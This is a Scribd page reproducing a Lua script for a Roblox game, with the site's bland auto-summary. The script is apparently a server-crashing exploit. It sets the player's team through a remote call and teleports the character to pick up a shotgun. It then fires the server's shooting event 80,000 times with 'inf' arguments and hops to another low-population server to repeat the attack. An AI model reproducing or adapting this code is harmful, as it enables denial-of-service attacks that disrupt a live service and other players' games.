0% found this document useful (0 votes)
18 views2 pages

Message

The document contains a Lua script for a Roblox game that waits for the game to load and checks for a specific player. It defines a 'shop' function to teleport players to servers with a certain number of players and includes commands for setting a player's team and equipping a shotgun. The script also contains loops for firing the shotgun multiple times and invoking server events.

Uploaded by

ydonmez1250
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views2 pages

Message

The document contains a Lua script for a Roblox game that waits for the game to load and checks for a specific player. It defines a 'shop' function to teleport players to servers with a certain number of players and includes commands for setting a player's team and equipping a shotgun. The script also contains loops for firing the shotgun multiple times and invoking server events.

Uploaded by

ydonmez1250
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

repeat task.

wait() until game:IsLoaded()


workspace:WaitForChild("Ignore")

for i, v in next, game.Players:GetPlayers() do


if v.Name == "yourservercrasher21" then
shop(14, 28)
end
end

task.spawn(function()
task.wait(30)
shop(14, 28)
end)

function shop(min, max)


local goofyahhvalue = math.random(min, max)
local Player = game.Players.LocalPlayer
local Http = game:GetService("HttpService")
local TPS = game:GetService("TeleportService")
local Api = "https://games.roblox.com/v1/games/"

local _place,_id = game.PlaceId, game.JobId


local _servers = Api.._place.."/servers/Public?sortOrder=Desc&limit=100"
function ListServers(cursor)
local Raw = game:HttpGet(_servers .. ((cursor and "&cursor="..cursor) or ""))
return Http:JSONDecode(Raw)
end

local Next; repeat


task.wait(0.15)
local Servers = ListServers(Next)
for i,v in next, Servers.data do
if v.playing <= goofyahhvalue and v.id ~= _id then
local s,r = pcall(TPS.TeleportToPlaceInstance,TPS,_place,v.id,Player)
if s then task.wait(5) break end
end
end

Next = Servers.nextPageCursor
until not Next
end

getgenv().shop = shop

local A_1 = "SetTeam"


local A_2 = "Police"
local Event = game:GetService("ReplicatedStorage").RemoteFunction
Event:InvokeServer(A_1, A_2)

local plr = game.Players.LocalPlayer


local char = workspace:WaitForChild(game:GetService("Players").LocalPlayer.Name)
--task.wait(0.5)
for i = 1, 40 do
wait()
char.HumanoidRootPart.Position = workspace.ObjectSelection.Shotgun.Shotgun.Position
+ Vector3.new(0, -6, 0)
char.LowerTorso.Position = workspace.ObjectSelection.Shotgun.Shotgun.Position +
Vector3.new(0, -6, 0)
char.Head.Position = workspace.ObjectSelection.Shotgun.Shotgun.Position +
Vector3.new(0, -6, 0)
workspace.ObjectSelection.Shotgun.Shotgun.Shotgun.Event:FireServer()
end
task.wait(0.5)
char.Humanoid:EquipTool(plr.Backpack.Shotgun)
wait(4)
for i = 1, 80000 do
game:GetService("ReplicatedStorage").Event:FireServer("ShootShotgun",
workspace[plr.Name], Vector3.new(0, 0, 0), "Shotgun", "inf", "inf", "inf")
end
wait(4)
shop(14, 28)

You might also like